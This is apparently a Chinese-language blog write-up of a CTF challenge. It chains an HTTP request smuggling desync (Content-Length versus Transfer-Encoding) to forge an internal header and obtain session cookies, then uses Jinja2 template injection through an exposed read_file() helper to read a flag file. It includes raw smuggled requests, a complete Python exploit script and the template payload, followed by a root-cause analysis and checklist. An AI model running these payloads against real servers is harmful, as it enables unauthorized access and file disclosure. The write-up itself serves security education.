> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Ganzir — OmniCTF 2026：從 HTTP Parser 不一致到 Jinja2 任意檔案讀取
- URL: https://taiwanding.com/ganzir-omnictf-2026-cong-http-parser-bu-yi-zhi-dao-jinja2-ren-yi-dang-an-du-qu/
- Published: 2026-07-20T07:25:22.000Z
- Updated: 2026-07-20T07:30:20.000Z
- Author: Kevin Chen
- Tags: #omnictf, CTF

這題把兩個經典漏洞串在一起：先用 **HTTP Request Smuggling（Parser Desynchronization）**偽造內部信任 Header 拿到 Employee Session，再透過暴露危險 Helper 的 **Jinja2 Template** 直接讀出 Flag，以下完整拆解思路與 Exploit。

## 題目提示

進入 `/employee` 後，頁面直接給了幾個重要提示：

```text
accepted job endpoint: POST /employee
accepted body formats: raw_request form field or text/plain raw HTTP
edge parser: honors Transfer-Encoding: chunked
bridge parser: trusts Content-Length before forwarding remaining bytes
internal request: GET /employee/session HTTP/1.1
required internal header: X-Employee-Gate: internal

```

簡單來說，這題有兩個 HTTP Parser：

| Parser        | 採用的 Header        | 用途                |
| ------------- | ----------------- | ----------------- |
| Edge Parser   | Transfer-Encoding | 解析 Chunked Body   |
| Bridge Parser | Content-Length    | 判斷 Body 長度並轉送剩餘資料 |

兩邊對「一個 HTTP Request 到底在哪裡結束」的看法不同，這就是漏洞的核心。

## Content-Length 與 Transfer-Encoding

### Content-Length

`Content-Length` 直接告訴伺服器 Body 有幾個 bytes：

```http
POST /employee HTTP/1.1
Content-Length: 5

hello

```

伺服器看到 `Content-Length: 5`，就會讀取後面的 5 bytes。

### Transfer-Encoding: chunked

Chunked Encoding 會把 Body 分成數個區塊：

```http
POST /employee HTTP/1.1
Transfer-Encoding: chunked

5
hello
0

```

`5` 代表下一段有 5 bytes，最後的 `0` 代表 Body 結束。

## 漏洞在哪裡？

正常伺服器不應該讓兩套互相衝突的長度規則一路傳到不同 Parser。

但這題的處理流程是：

```text
同一份 Raw HTTP Request
        ↓
Edge 使用 Transfer-Encoding 解析
        ↓
Bridge 使用 Content-Length 判斷長度
        ↓
剩餘資料被當成下一個內部 Request

```

因此，我們可以在正常 Request 後面藏入第二個 Request，讓 Bridge 幫忙送到內部端點。

這類問題稱為 HTTP Request Smuggling，也可以更精確地說是 HTTP Parser Desynchronization。

要注意，這題的外層 `POST /employee` 本身是一個 Raw Request 投遞端。衝突的 Header 是放在 `text/plain` Body 裡，再由題目的 Legacy Bridge 解析，不是直接加在 Python `requests.post()` 的最外層。

## 為什麼第一個 Payload 失敗？

一開始使用的 Body 大致如下：

```http
69
GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

0

```

`69` 是十六進位，等於十進位的 105，長度計算本身沒有錯。

問題是 `GET /employee/session` 被放進了這個非零 Chunk 裡面：

```text
69              ← 接下來 105 bytes 都是 Body
GET /employee…  ← 被 Edge 當成普通 Body 吃掉
0               ← Chunked Body 結束

```

所以它永遠不會成為第二個 HTTP Request，

**錯的不是長度，而是 GET 放置的位置！**

## 正確的 Smuggled Request

我們要先使用 `0` 結束 Chunked Body，再把內部 GET 接在後面：

```http
POST /employee HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
Content-Length: 0
Transfer-Encoding: chunked

0

GET /employee/session HTTP/1.1
Host: ganzir-bcb389d7988b.inst.omnictf.com
X-Employee-Gate: internal

```

解析結果變成：

```text
Edge 看到 0 Chunk → 第一個 Request 結束
                         ↓
Bridge 相信 CL = 0 → Body 長度為 0
                         ↓
剩餘資料從 GET /employee/session 開始
                         ↓
GET 被當成內部 Request 轉送

```

內部端點看到 `X-Employee-Gate: internal`，便建立 Cassie 的 Employee Session。

## 成功後為什麼還是看到 403？

成功的 `/employee/session` 會回傳：

```http
HTTP/1.1 302 Found
Location: /employee
Set-Cookie: site19_employee_gate=...
Set-Cookie: site19_jwt=...
Set-Cookie: site19_session=...

```

但 `requests` 預設會自動跟隨 Redirect。

```text
真正的成功回應：302 + Set-Cookie
                ↓ requests 自動跳轉
最後看到的回應：/employee 的 403

```

因此要加上：

```python
allow_redirects=False

```

同時使用 `requests.Session()` 保存 Cookie。

## 完整 Exploit

```python
import re
import requests

HOST = "ganzir-bcb389d7988b.inst.omnictf.com"
BASE = f"https://{HOST}"

smuggled = (
    "GET /employee/session HTTP/1.1\r\n"
    f"Host: {HOST}\r\n"
    "X-Employee-Gate: internal\r\n"
    "\r\n"
).encode("ascii")

blob = (
    b"POST /employee HTTP/1.1\r\n"
    + f"Host: {HOST}\r\n".encode("ascii")
    + b"Content-Length: 0\r\n"
    + b"Transfer-Encoding: chunked\r\n"
    + b"\r\n"
    + b"0\r\n\r\n"
    + smuggled
)

session = requests.Session()

response = session.post(
    f"{BASE}/employee",
    data=blob,
    headers={"Content-Type": "text/plain"},
    allow_redirects=False,
    timeout=20,
)

print("Status:", response.status_code)
print("Location:", response.headers.get("Location"))
print("Cookies:", session.cookies.get_dict())

```

成功後會取得三個 Cookie：

```text
site19_employee_gate
site19_jwt
site19_session

```

## 第二個漏洞：Jinja2 任意檔案讀取

取得 Employee Session 後，可以進入 `/briefing-template`。

頁面再次直接給出提示：

```text
engine: Jinja2
variables: wave, vector
helper: read_file(path)
flag copy: /flag.txt

```

使用者輸入會被當成 Jinja2 Template 執行，而且 Template 中可以呼叫 `read_file()`。

因此可以直接讀取 `/flag.txt`：

```jinja2
{{ read_file('/flag.txt') }}

```

將下面程式接在前面的 Exploit 後面：

```python
response = session.post(
    f"{BASE}/briefing-template",
    data={"template": "{{ read_file('/flag.txt') }}"},
    timeout=20,
)

flag = re.search(r"CTF\{[^}]+\}", response.text)
print(flag.group(0) if flag else response.text)

```

這裡的問題不只是「使用 Jinja2」，而是伺服器把使用者輸入直接當成 Template，還暴露了能任意讀取路徑的 `read_file()` Helper。

## 完整攻擊流程

```text
CL / TE Parser 不一致
        ↓
Smuggle 內部 GET /employee/session
        ↓
偽造 X-Employee-Gate: internal
        ↓
取得 Employee Session Cookie
        ↓
進入 /briefing-template
        ↓
執行 {{ read_file('/flag.txt') }}
        ↓
取得 Flag

```

## 漏洞根本原因

### 1\. 接受衝突的 Framing Header

```text
Content-Length + Transfer-Encoding 同時存在
→ 不同 Parser 使用不同規則

```

### 2\. 直接轉送未解析完的 Raw Bytes

```text
第一個 Request 後面的資料
→ 被當成新的內部 Request

```

### 3\. 使用 Header 判斷內部信任

```http
X-Employee-Gate: internal

```

只要成功走到內部端點，就能偽造這個 Header。

### 4\. Template Helper 權限過大

```jinja2
{{ read_file('/任何路徑') }}

```

沒有路徑白名單，也沒有將 Template 與檔案系統隔離。

## 實戰檢查清單

遇到 HTTP Parser 題目時，可以檢查：

1. 是否同時接受 `Content-Length` 與 `Transfer-Encoding`？
2. 前後端使用的 HTTP Parser 是否不同？
3. `0\r\n\r\n` 後面的資料會被如何處理？
4. Client 是否自動跟隨 Redirect，藏掉真正的回應？
5. Cookie 是否使用同一個 Session 保存？
6. 內部權限是否只依靠可偽造的 Header？
7. Template Engine 是否暴露危險 Helper？